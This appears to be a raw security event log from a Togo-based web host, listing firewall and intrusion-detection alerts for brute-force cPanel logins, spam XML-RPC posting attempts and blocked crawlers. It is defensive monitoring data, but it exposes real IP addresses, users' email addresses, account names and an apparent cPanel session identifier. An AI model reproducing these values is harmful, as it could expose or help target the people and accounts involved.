IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:140.99.197.181||TA:140.99.197.181||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.173.137.209
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.173.137.209||TA:107.173.137.209||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.224.232
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.143.224.232||TA:104.143.224.232||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.121.250
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1410055070 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.135.44
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:107.175.135.44||TA:107.175.135.44||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 43.172.197.165
country_id: 1880251
description:
43.172.197.165 - - [26/Jun/2026:17:03:08 +0000] "GET /wp-includes/css/admin-bar.min.css?ver=7.0 HTTP/1.1" 200 11691 togodailynews.tg "http://togodailynews.tg/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119321&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcooperation-robert-dussey-poursuit-son-operation-de-charme-a-teheran%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782493383" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.197.165


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.238.100.240
country_id: 3469034
description:
[2026-06-26 17:03:37 +0000] info [cpaneld] 45.238.100.240 - sncomtg "GET /login/?login_only=1&user=sncomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncomtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.230.254.128
country_id: 298795
description:
[2026-06-26 17:03:47 +0000] info [cpaneld] 88.230.254.128 - snc "GET /login/?login_only=1&user=snc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.47.16.102
country_id: 2510769
description:
[2026-06-26 17:03:33 +0000] info [cpaneld] 139.47.16.102 - sncom "GET /login/?login_only=1&user=sncom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.253.148.12
country_id: 3932488
description:
[2026-06-26 17:03:41 +0000] info [cpaneld] 38.253.148.12 - snco "GET /login/?login_only=1&user=snco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snco (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.85
country_id: 3469034
description:
Jun 26 17:03:55 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.85 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.219.164.192
country_id: 2542007
description:
[2026-06-26 17:03:32 +0000] info [cpaneld] 45.219.164.192 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.77.201.178
country_id: 2542007
description:
[2026-06-26 17:03:52 +0000] info [cpaneld] 105.77.201.178 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.241.12.29
country_id: 1527747
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-28-milliards-pour-soutenir-les-tpme-agro-industrielles/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.241.12.29
country_id: 1527747
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-28-milliards-pour-soutenir-les-tpme-agro-industrielles/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 26 17:08:04 ns5 pure-ftpd[532230]: (?@134.122.27.233) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-06-26 17:08:11 dovecot_login authenticator failed for H=(89-67-39-124.dynamic.play.pl) [74.209.100.246]:55532: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-26 17:08:01 +0000] info [cpaneld] 45.142.201.26 - masfloy "GET /execute/DomainInfo/domains_data?format=hash&return_https_redirect_status=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.223.253.111
country_id: 102358
description:
[2026-06-26 17:08:42 +0000] info [cpaneld] 77.223.253.111 - lvd "GET /login/?login_only=1&user=lvd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lvd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.189.188.94
country_id: 3996063
description:
[2026-06-26 17:08:39 +0000] info [cpaneld] 187.189.188.94 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.2.105.147
country_id: 2017370
description:
[2026-06-26 17:08:20 +0000] info [cpaneld] 185.2.105.147 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.228.223.176
country_id: 3469034
description:
[2026-06-26 17:08:32 +0000] info [cpaneld] 168.228.223.176 - lvdt "GET /login/?login_only=1&user=lvdt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lvdt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.55.131.68
country_id: 3865483
description:
[2026-06-26 17:08:35 +0000] info [cpaneld] 190.55.131.68 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.32.4.144
country_id: 2017370
description:
[2026-06-26 17:08:37 +0000] info [cpaneld] 188.32.4.144 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.187.224.104
country_id: 3996063
description:
[2026-06-26 17:08:42 +0000] info [cpaneld] 187.187.224.104 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.93.91
country_id: 1512440
description:
[2026-06-26 17:08:12 +0000] info [cpaneld] 213.230.93.91 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.76.96.57
country_id: 2017370
description:
[2026-06-26 17:08:27 +0000] info [cpaneld] 80.76.96.57 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.193.212.129
country_id: 953987
description:
[2026-06-26 17:08:38 +0000] info [cpaneld] 41.193.212.129 - lvdttg "GET /login/?login_only=1&user=lvdttg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lvdttg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.178.149.160
country_id: 3469034
description:
[2026-06-26 17:08:45 +0000] info [cpaneld] 45.178.149.160 - lv "GET /login/?login_only=1&user=lv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lv (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.148.109.37
country_id: 3175395
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/11/R\xc3\xa9sultat_Lot3.pdf HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.69.85
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/382006466 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.8.152.209
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1692861378 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.119.11.48
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2129631671 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.177.219.23
country_id: 3378535
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/332185285 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.31.127.247
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1261557109 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.207.186.41
country_id: 2363686
description:
[2026-06-26 17:14:20 +0000] info [cpaneld] 41.207.186.41 NEW emupgdkn:Jd26n3_kGQsQLS66 address=41.207.186.41,app=cpaneld,creator=emupgdkn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.232.7.126
country_id: 6252001
description:
198.232.7.126 - - [26/Jun/2026:17:16:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13004133&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494164 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.232.7.126


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.66.56.108
country_id: 1643084
domain: v2.cfpj.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/defunct.dat||User:cfpjusti||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.59
country_id: 732800
description:
Jun 26 17:17:03 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.59 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.135.10.212
country_id: 2623032
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:185.135.10.212||TA:185.135.10.212||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:377ce10276f89905aa5e8f9fde3e48f5940935f7||Title:ql6n1ihu6jtk9o8nj||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (180.149.231.248) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.136.184.3
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/notre-dame-de-paris/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [26/Jun/2026:17:18:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972307&pdata=http%253A%252F%252Fwww.dagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494288 HTTP/1.1" 302 0 www.dagl.tg "http://www.dagl.tg/" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2a330cf5b76c9069fe7c0f04d07d1d550c3191f||Title:oliyesnzreupkuhu||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.239.45.38
country_id: 953987
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/tag/notre-dame-de-paris/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.166.231.242
country_id: 3508796
description:
Jun 26 17:18:30 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.166.231.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f25c10a9abc27af3109df5b6b4d0a07359b9501a||Title:i928lgtqswt6kocw||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.122.166.77
country_id: 3469034
description:
[2026-06-26 17:19:43 +0000] info [cpaneld] 187.122.166.77 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.136.77.171
country_id: 3996063
description:
[2026-06-26 17:20:05 +0000] info [cpaneld] 189.136.77.171 - fomd "GET /login/?login_only=1&user=fomd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomd (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.159.14
country_id: 690791
description:
Jun 26 17:19:32 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.159.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.92.119.161
country_id: 2542007
description:
[2026-06-26 17:19:58 +0000] info [cpaneld] 41.92.119.161 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.98.155.107
country_id: 2589581
description:
[2026-06-26 17:20:00 +0000] info [cpaneld] 41.98.155.107 - fomda "GET /login/?login_only=1&user=fomda&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fomda (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d17ff526216be828960372adfb0e42c18d289869||Title:i55dif5ywgi9uuay||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.191.143.104
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-le-pta-pour-booster-le-secteur-agricole/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.174.211.167
country_id: 298795
description:
[2026-06-26 17:20:13 +0000] info [cpaneld] 78.174.211.167 - fo "GET /login/?login_only=1&user=fo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 90.118.178.43
country_id: 3017382
description:
90.118.178.43 - - [26/Jun/2026:17:20:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985580&pdata=https%253A%252F%252Fcfpj.tg%252Fjkgc-207112kitems%252Fetidm16wj.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494417 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/jkgc-207112kitems/etidm16wj.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:90.118.178.43


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.191.143.104
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-le-pta-pour-booster-le-secteur-agricole/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.12
country_id: 3469034
description:
Jun 26 17:21:19 ns5 auth[524710]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1997373648fae73c900077a6afa8d78d3b49521e||Title:3tf9wxr94m5wbs||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.19.35.251
country_id: 6252001
description:
89.19.35.251 - - [26/Jun/2026:17:23:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989271&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F%252F1%252F010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000%252FhFw3NCHyF4rxByWPa2eYluDJiPU%253D258&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494586 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr//1/010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000/hFw3NCHyF4rxByWPa2eYluDJiPU=258" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.19.35.251


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-26 17:22:46 +0000] info [webmaild] 160.242.195.10 - gndong@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1d4ffbed9e22c556f3f1a696d2715e91556a792||Title:fl91hr7aam4cqtm||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-26 17:23:34 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:34e1e916cc9bdfdd099c143b7ca0895d05018748||Title:b7rxaozyo5liin||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-26 17:24:22 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ae35f5cab4dbe4c95d1f2c7d68be5aee6010651e||Title:buodbbj4x1n9l5y||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.149.231.248
country_id: 2186224
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee690d354139d9f48b19d4683a9269db56ee8340||Title:y061aovp0eaj9cj2||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.248.171.23
country_id: 2750405
description:
89.248.171.23 - - [26/Jun/2026:17:26:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7299951&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F%252F1%252F010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000%252FhFw3NCHyF4rxByWPa2eYluDJiPU%253D258&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494785 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr//1/010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000/hFw3NCHyF4rxByWPa2eYluDJiPU=258" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.248.171.23


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 125.62.88.203
country_id: 1168579
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:99214.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cd3aae0e5d77b656a1b53f3706d66bbf29d98236||Title:0x1d03978a||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.165.215.140
country_id: 6252001
domain: henkagroupe.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.89.59
country_id: 732800
description:
158.173.89.59 - - [26/Jun/2026:17:28:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855265&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F%252F1%252F010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000%252FhFw3NCHyF4rxByWPa2eYluDJiPU%253D258&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782494900 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr//1/010e019f04f32703-75641a2f-318c-4f90-bfd6-f0baf75ad507-000000/hFw3NCHyF4rxByWPa2eYluDJiPU=258" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.89.59


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.198.177.131
country_id: 3175395
domain: libertetogo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:217.198.177.131||TA:217.198.177.131||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.165.143
country_id: 2363686
domain: lerendez-vous.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/index.php/wp-json/wp/v2/users/6?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.59.176
country_id: 6251999
domain: hofbraeubeer.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/hofbraeubeer.snb.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.177.107.185
country_id: 1880251
domain: free.netmaster.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:34.177.107.185||TA:34.177.107.185||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 94.26.90.23
country_id: 2921044
domain: lct-togo.tg
description:
